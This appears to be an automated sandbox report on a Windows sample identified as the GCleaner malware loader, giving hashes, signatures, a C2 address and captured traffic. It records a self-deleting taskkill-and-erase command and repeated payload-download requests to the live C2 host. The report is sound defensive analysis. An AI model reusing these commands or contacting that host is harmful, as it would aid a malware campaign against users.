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Analysis

  • max time kernel
    93s
  • max time network
    103s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07/09/2024, 18:13 UTC

General

  • Target

    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe

  • Size

    294KB

  • MD5

    e31f3a2e963a7e7129a9d6ae35c6384d

  • SHA1

    4ff2507be78ebc8ad15374f4cad94258cc7de470

  • SHA256

    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34

  • SHA512

    c646ad6f94f34850e3fb29d4936abd33e79680b556936dd11f36743f6c5f264ba1a84b90ab5adf645803991c7131c8de021c82f1b98974100203e42764ead623

  • SSDEEP

    6144:2CBbfnESxoe7rWI8SRVOLss9E5dhDs0U8S/wjfF/Q:2gn9xoe7LzRQJ9As0vR/

Malware Config

Extracted

Family

gcleaner

C2

80.66.75.114

Signatures

  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    "C:\Users\Admin\AppData\Local\Temp\a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4688
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe" & exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4860
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im "a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3888

Network

  • flag-ru
    GET
    http://80.66.75.114/add?substr=one&s=two
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /add?substr=one&s=two HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: 1
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:07 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:07 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:09 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=98
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    114.75.66.80.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    114.75.66.80.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    nexusrules.officeapps.live.com
    Remote address:
    8.8.8.8:53
    Request
    nexusrules.officeapps.live.com
    IN A
    Response
    nexusrules.officeapps.live.com
    IN CNAME
    prod.nexusrules.live.com.akadns.net
    prod.nexusrules.live.com.akadns.net
    IN A
    52.111.227.13
  • flag-us
    DNS
    13.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.227.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:18 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:20 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:23 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=98
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:25 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=97
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:27 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=96
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:30 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=95
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:32 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=94
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:34 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=93
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    GET
    http://80.66.75.114/files/download
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    Remote address:
    80.66.75.114:80
    Request
    GET /files/download HTTP/1.1
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    User-Agent: B
    Host: 80.66.75.114
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 07 Sep 2024 18:14:37 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Content-Length: 1
    Keep-Alive: timeout=5, max=92
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • 80.66.75.114:80
    http://80.66.75.114/files/download
    http
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    3.3kB
    1.0kB
    13
    9

    HTTP Request

    GET http://80.66.75.114/add?substr=one&s=two

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download
  • 80.66.75.114:80
    http://80.66.75.114/files/download
    http
    a89101fbb3524961362af049e54e8d2b93ed0a6120b72b9c7824ade4db8a8c34.exe
    6.7kB
    2.8kB
    28
    22

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200

    HTTP Request

    GET http://80.66.75.114/files/download

    HTTP Response

    200
  • 8.8.8.8:53
    114.75.66.80.in-addr.arpa
    dns
    285 B
    518 B
    4
    4

    DNS Request

    114.75.66.80.in-addr.arpa

    DNS Request

    8.8.8.8.in-addr.arpa

    DNS Request

    nexusrules.officeapps.live.com

    DNS Response

    52.111.227.13

    DNS Request

    13.227.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\12KX1S8M\download[1].htm

    Filesize

    1B

    MD5

    cfcd208495d565ef66e7dff9f98764da

    SHA1

    b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

    SHA256

    5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

    SHA512

    31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

  • memory/4688-1-0x00000000006E0000-0x00000000007E0000-memory.dmp

    Filesize

    1024KB

  • memory/4688-2-0x00000000022C0000-0x00000000022ED000-memory.dmp

    Filesize

    180KB

  • memory/4688-3-0x0000000000400000-0x000000000042F000-memory.dmp

    Filesize

    188KB

  • memory/4688-6-0x00000000006E0000-0x00000000007E0000-memory.dmp

    Filesize

    1024KB

  • memory/4688-8-0x0000000000400000-0x0000000000451000-memory.dmp

    Filesize

    324KB

  • memory/4688-9-0x00000000022C0000-0x00000000022ED000-memory.dmp

    Filesize

    180KB

  • memory/4688-10-0x0000000000400000-0x000000000042F000-memory.dmp

    Filesize

    188KB

  • memory/4688-22-0x0000000000400000-0x0000000000451000-memory.dmp

    Filesize

    324KB

  • memory/4688-23-0x0000000000400000-0x000000000042F000-memory.dmp

    Filesize

    188KB

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